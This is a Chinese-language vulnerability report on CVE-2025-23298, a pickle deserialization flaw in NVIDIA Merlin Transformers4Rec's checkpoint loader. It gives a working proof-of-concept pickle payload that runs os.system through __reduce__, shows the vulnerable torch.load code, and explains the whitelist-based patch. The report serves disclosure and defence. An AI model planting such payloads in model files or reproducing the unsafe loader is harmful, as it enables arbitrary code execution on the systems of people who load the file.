
摘要
本報告針對
CVE-2025-23298
提供詳細的技術分析,此為在
NVIDIA Merlin Transformers4Rec
中發現的嚴重遠端程式碼執行 (
RCE
) 弱點。該弱點源於
load_model_trainer_states_from_checkpoint
函式中不安全的反序列化操作,該函式不當使用了
PyTorch
的
torch.load()
函式。而此函式又依賴於
Python
的
pickle
模組,該模組在處理不受信任的資料時,因其內在的不安全性而聞名。本報告闡明了此弱點的機制,演示了一個利用
__reduce__
方法的 PoC 攻擊,並分析了
NVIDIA
為減輕此風險而實施的更新
程式。報告中包含技術圖表和程式碼片段,以說明攻擊途徑和矯正措施,強調了機器學習生態系統中不安全反序列化的廣泛影響。

1. 簡介
機器學習 ( Machine Learning, ML ) 和人工智慧 ( Artificial Intelligence, AI ) 框架的迅速發展和廣泛採用,為資安弱點引入了新的攻擊面。其中一個關鍵弱點被識別為 CVE-2025-23298 ,它影響了 NVIDIA Merlin Transformers4Rec ,一個設計用於 NVIDIA Merlin 生態系統中循序和基於 Session 推薦任務的函式庫 [1]。此弱點允許 Threat actor 透過在模型檢查點載入期間利用不安全的反序列化操作,以 root 權限達成遠端程式碼執行 ( Remote Code Execution,RCE )。本報告深入探討 CVE-2025-23298 的技術細節,探索其根本原因攻擊論和後續的更新 程式。
2. 背景: Python 的 Pickle 模組與反序列化風險
Python
的
pickle
模組是一個標準函式庫,用於序列化和反序列化
Python
物件結構。它將
Python
物件轉換為位元組串流 (
pickling
),並從位元組串流重建該物件 (
unpickling
)。儘管對於內部應用程式使用而言功能強大,但
pickle
在處理來自不受信任來源的資料時,卻是出了名的不安全 [2]。
torch.load()
函式在底層使用了 Python 的pickle
模組,該模組在處理不受信任的資料時出了名的不安全。 pickle 協定允許任意 Python 物件被序列化和反序列化,包括那些在反序列化程序中執行程式碼的物件 [1]。
與
pickle
反序列化相關的主要風險在於它能夠在反序列化程序中執行任意
Python
程式碼。這通常是通過像
__reduce__()
這樣的特殊方法實現的,它允許物件控制自己的序列化和反序列化。
Threat actor
可以製作一個
malicious payload
的
pickled
物件,當它被反序列化時,觸發在主機系統上執行任意命令。這使得
pickle
成為反序列化來自不受信任或未經驗證來源的資料的不適合選擇。
3. 弱點分析: CVE-2025-23298
CVE-2025-23298
的根源在於
NVIDIA Merlin Transformers4Rec
中的
load_model_trainer_states_from_checkpoint
函式。此函式負責載入模型狀態,通常來自檢查點檔案,以恢復訓練或部署模型。核心問題是它直接且未參數化地使用了
PyTorch
的
torch.load()
函式,如前所述,它依賴於不安全的
pickle
模組 [1]。
3.1. 弱點程式碼片段
在更新程式之前的模型載入函式的弱點實作,概念上類似於以下內容:
- # vulnerable_code.py
- import pathlib
- import torch
- def load_model_trainer_states_from_checkpoint(path, model_name="t4rec_model_class"):
- """Loads the model from f"{export_path}/{model_name}.pkl" using `torch.load()`"""
- export_path = pathlib.Path(path)
- model_name = model_name + ".pkl"
- export_path = export_path / model_name
- # The vulnerability lies here: direct use of torch.load() on potentially untrusted data
- return torch.load(open(export_path, "rb"))
- # Example of how the vulnerable function might be called
- # model = load_model_trainer_states_from_checkpoint("./my_checkpoint_dir")
在這個片段中,
torch.load()
呼叫直接處理
.pkl
檔案的內容。如果
Threat actor
可以提供一個特別製作的
.pkl
檔案,反序列化程序將會執行嵌入的
malicious payload
的程式碼。
3.2. 攻擊面與影響
由於 ML 工作流程中固有的幾個因素,此弱點的攻擊面是巨大的 [1]:
- 模型共享 : 資料科學家經常透過各種管道共享預訓練模型,包括公共儲存庫(Public repositories)和雲端儲存(Cloud storage)。
- 受信任的檢查點檔案 : 人們普遍假設檢查點檔案(Checkpoint files),尤其是那些看似源自合法來源的檔案,是安全的。
- 執行環境 : ML 服務在生產環境中通常以高權限運行。利用此弱點可以讓 Threat actor 獲得這些高權限。
CVE-2025-23298 的潛在實際影響是嚴重的,範圍從:
- 遠端程式碼執行 ( RCE ) : Threat actor 可以在目標系統上執行任意命令。
- 權限提升 : 如果 ML 服務以高權限運行,則獲得高權限。
- 資料外洩 : 未經授權地存取敏感資料,包括訓練資料和模型權重。
- 供應鏈攻擊 : 透過模型儲存庫散播 malicious payload 的模型。
- 橫向移動 : 被滲透的 ML 系統作為更廣泛網路入侵的立足點。
這種漏洞在自動化 ML/AI 管道中尤其危險,因為在自動化 ML/AI 管道中,模型的載入無需人工審查,從而增加了大量洩漏的風險。
4. 攻擊方法論
為了演示此弱點,
Threat actor
將製作一個惡意的檢查點檔案,該檔案利用
Python
的
pickle
模組的
__reduce__
方法。此方法允許物件指定在反序列化過程中如何重建它,包括執行具有特定參數的可呼叫函數 [2]。
4.1. malicious payload 製作
一個簡單的概念驗證 ( PoC ) Payload 可以製作如下:
- # malicious_pickle_payload.py
- import os
- import pickle
- class Exploit(object):
- def __reduce__(self):
- # This command will be executed when the pickled object is deserialized
- return (os.system, (
- 'echo "Vulnerable system compromised!" > /tmp/pwned.txt',
- ))
- # Create an instance of the Exploit class
- h = Exploit()
- # Serialize the malicious object into a pickle byte stream
- malicious_payload = pickle.dumps(h)
- # Save the malicious payload to a file, mimicking a checkpoint file
- with open("malicious_checkpoint.pkl", "wb") as f:
- f.write(malicious_payload)
當一個有弱點的應用程式使用
torch.load()
載入
malicious_checkpoint.pkl
時,
Exploit
類別的
__reduce__
方法會在反序列化期間被呼叫。這會觸發
os.system()
,執行嵌入的命令。命令
echo "Vulnerable system compromised!" > /tmp/pwned.txt
將在
/tmp/
目錄中建立一個名為
pwned.txt
的檔案,作為成功攻擊的明確指標。在現實世界的情境中,這可以被替換為用於遠端
shell
存取、資料外洩或系統操作的命令。
4.2. 弱點流程圖
下圖表說明了弱點的流程:
5. 更新程式分析
NVIDIA
在
Transformers4Rec
儲存庫的
commit
b7eaea5
(
PR
#802) 中解決了
CVE-2025-23298
[1]。此更新程式透過限制可以被
unpickled
的類別型別,引入了一個更安全的反序列化機制。這是通過實作一個客製化的載入函式來實現的,該函式明確地批准用於反序列化的類別,從而防止執行嵌入在不受信任的
pickle
檔案中的任意程式碼。
5.1. 已更新程式碼實作
修復的核心涉及將直接的
torch.load()
呼叫替換為受控的反序列化程序。
transformers4rec.utils.serialization
模組被引入或增強,以管理經批准的類別。更新後的
load
方法,概念上,現在看起來像這樣:
- # patched_load_method.py
- import pathlib
- from typing import Union
- # Assuming `Model` and `load` are imported from the patched library
- from transformers4rec.torch.model.base import Model
- from transformers4rec.utils.serialization import load # This is the new secure load function
- @classmethod
- def load(cls, path: Union[str, pathlib.Path], model_name="t4rec_model_class") -> "Model":
- """Loads the model from f"{export_path}/{model_name}.pkl" using a secure `load` function"""
- export_path = pathlib.Path(path)
- model_name = model_name + ".pkl"
- export_path = export_path / model_name
- # The secure `load` function is now used, which validates deserialized objects
- return load(open(export_path, "rb"))
新的
load
函式 (來自
transformers4rec.utils.serialization
) 被設計為只反序列化屬於預定義的安全和經批准的類別列表的物件。任何嘗試反序列化不在這個白名單上的物件,例如利用
__reduce__
的
malicious payload
的物件,都將被阻止,從而有效地防止
RCE
。
5.2. 序列化白名單機制
serialization.py
模組定義了一個可接受類別的白名單。此機制對於確保只有預期和安全的
Python
物件被重建至關重要。以下是如何建構此類白名單的範例:
- # transformers4rec/utils/serialization.py (conceptual excerpt)
- import io
- import pickle # nosec B403 - This is for internal use with strict controls
- # These are the base classes that are generally serialized by the ZeroMQ IPC.
- # If a class is needed by ZMQ routinely it should be added here.
- # If it is only needed in a single instance the class can be added at runtime
- # using register_approved_ipc_class.
- BASE_SERIALIZATION_CLASSES = {
- "builtins": [
- "Exception", "ValueError", "NotImplementedError", "AttributeError",
- "AssertionError"
- ],
- "collections": ["OrderedDict", "defaultdict"],
- "datetime": ["timedelta"],
- "pathlib": ["PosixPath"],
- "functools": ["partial"],
- "transformers4rec.torch.model.base": ["Model", "Head", "PredictionTask"],
- # ... other approved classes ...
- "torch.nn.module": ["Module"],
- "torch.nn.modules.activation": ["ReLU", "Sigmoid", "Tanh"],
- # ... and so on for all legitimate classes ...
- }
- # A custom unpickler that enforces the whitelist
- class RestrictedUnpickler(pickle.Unpickler):
- def find_class(self, module, name):
- if module in BASE_SERIALIZATION_CLASSES and name in BASE_SERIALIZATION_CLASSES[module]:
- return super().find_class(module, name)
- raise pickle.UnpicklingError(f"Attempted to unpickle forbidden class {module}.{name}")
- def load(file_obj):
- return RestrictedUnpickler(file_obj).load()
- def dump(obj, file_obj):
- # For completeness, though the vulnerability is in loading
- pickle.dump(obj, file_obj)
這種方法確保即使提供了惡意的
.pkl
檔案,
RestrictedUnpickler
也將阻止任何未經批准的類別實例化,從而消除
RCE
的威脅。這是針對不安全反序列化弱點的強大防禦機制。
6. 結論
NVIDIA Merlin Transformers4Rec
中的
CVE-2025-23298
突顯了在
ML
模型載入程序中不安全地使用
Python
pickle
模組所產生的關鍵資安風險。此弱點強調了安全反序列化操作的重要性,尤其是在模型和資料經常被共享和自動化處理的環境中。涉及
__reduce__
方法和任意程式碼執行的攻擊途徑的詳細分析,證明了此類缺陷的嚴重影響,包括
RCE
和權限提升。
NVIDIA
的更新程式透過實作基於白名單的反序列化機制,限制了可以被
unpickled
的物件型別,有效地減輕了此弱點。這種積極的措施對於保護
ML
管道免受供應鏈攻擊,並確保資料和系統的完整性和機密性至關重要。
ML
生態系統中的開發人員和實務工作者應採用類似的安全程式碼編寫做法,並對序列化資料的來源和內容保持警惕,尤其是在使用像
pickle
這樣的模組時。